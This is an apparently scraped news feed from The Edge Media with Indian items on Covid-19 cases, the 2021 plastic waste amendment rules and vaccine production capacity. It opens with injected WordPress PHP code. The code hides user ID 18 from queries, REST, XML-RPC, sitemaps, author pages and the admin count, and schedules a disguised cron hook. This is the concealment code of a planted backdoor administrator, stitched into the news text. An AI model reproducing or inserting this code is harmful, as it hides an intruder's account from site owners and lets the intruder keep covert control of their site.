add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post India reports a daily increase of 12,428 Covid-19 cases, the lowest in 238 days appeared first on The Edge Media.
]]>
Meanwhile, the number of active cases fell to 1,63,816, the lowest level in 241 days. For the past 31 days, the daily increase in new coronavirus infections has been below 30,000, and less than 50,000 daily new cases have been reported for the past 120 days.
The post India reports a daily increase of 12,428 Covid-19 cases, the lowest in 238 days appeared first on The Edge Media.
]]>The post The Union environment ministry notifies the Plastic Waste Management Amendment Rules, 2021 appeared first on The Edge Media.
]]>At the 4th United Nations Environment Assembly held in 2019, India moved a resolution on addressing single-use plastic products pollution by 2022. Prime Minister Narendra Modi called on people to stop the use of single-use plastic bags in his Independence Day speech in 2019.
The manufacture, import, stocking, distribution, sale, and use of some single-use plastic products including polystyrene and expanded polystyrene shall be prohibited from July 1, 2022. These include earbuds with plastic sticks, plastic sticks for balloons, plastic flags, candy sticks, ice-cream sticks, polystyrene for decoration, plates, cups, glasses, cutlery such as forks, spoons, knives, straw, trays, wrapping or packing films used for sweet boxes, invitation cards, and cigarette packets, plastic or PVC banners less than 100 micron and stirrers.
From September 30, 2021, the thickness of plastic carry bags will be increased from 50 microns to 75 microns and 120 microns. This will also allow the reuse of plastic carry bags due to an increase in thickness, an environment ministry statement said.
The plastic packaging waste, which is not covered under the phase-out of identified single-use plastic items, shall be collected and managed in an environmentally sustainable way by producers, importers, and brand owners as per the Plastic Waste Management Rules, 2016. For effective implementation of Extended Producer Responsibility, the guidelines for it are being brought out and have been given legal force through Plastic Waste Management Amendment Rules, 2021, the ministry said in the statement.
The post The Union environment ministry notifies the Plastic Waste Management Amendment Rules, 2021 appeared first on The Edge Media.
]]>The post Monthly production capacity of vaccines to be increased : Centre appeared first on The Edge Media.
]]>Union Health Minister Mansukh Mandaviya was responding to a question on the current capacity to manufacture Covaxin and Covishield in the country, and the expected capacity going forward from August to December 2021.
“As communicated by the manufacturers, the monthly vaccine production capacity of Covishield is projected to be increased from 110 million doses per month to more than 120 million doses per month and the production capacity of Covaxin is projected to be increased from 25 million doses per month to around 58 million doses per month,” the minister said in a written reply.
Further, the Department of Biotechnology under the Ministry of Science and Technology has launched ‘Mission Covid Suraksha – the Indian COVID-19 Vaccine Development Mission’.
The Mission is being implemented by Biotechnology Industry Research Assistance Council (BIRAC), a public sector undertaking (PSU) of the Department of Biotechnology, the reply stated.
Under the Mission, facility augmentation of Bharat Biotech and one state public sector enterprise and 2 central public sector enterprises (PSEs) – Haffkine Biopharmaceutical Corporation Ltd, Mumbai; Indian Immunologicals Limited (IIL), Hyderabad and Bharat Immunologicals Biologicals Limited (BIBCOL), Bulandshahr – for production of Covaxin have been supported.
In addition, technology transfer of Covaxin production to Gujarat COVID Vaccine Consortium (GCVC), including Hester Biosciences and OmniBRx Biotechnologies Pvt Ltd, led by Gujarat Biotechnology Research Centre (GBRC) of Department of Science and Technology, Government of Gujarat, has also been facilitated, the reply said.
Further, the Centre has also extended financial assistance to one of the domestic manufacturers for ‘At-risk manufacturing’, advance payment against the supply orders placed with Serum Institute of India and Bharat Biotech, besides streamlining regulatory norms for approval of vaccines, the reply added.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post Monthly production capacity of vaccines to be increased : Centre appeared first on The Edge Media.
]]>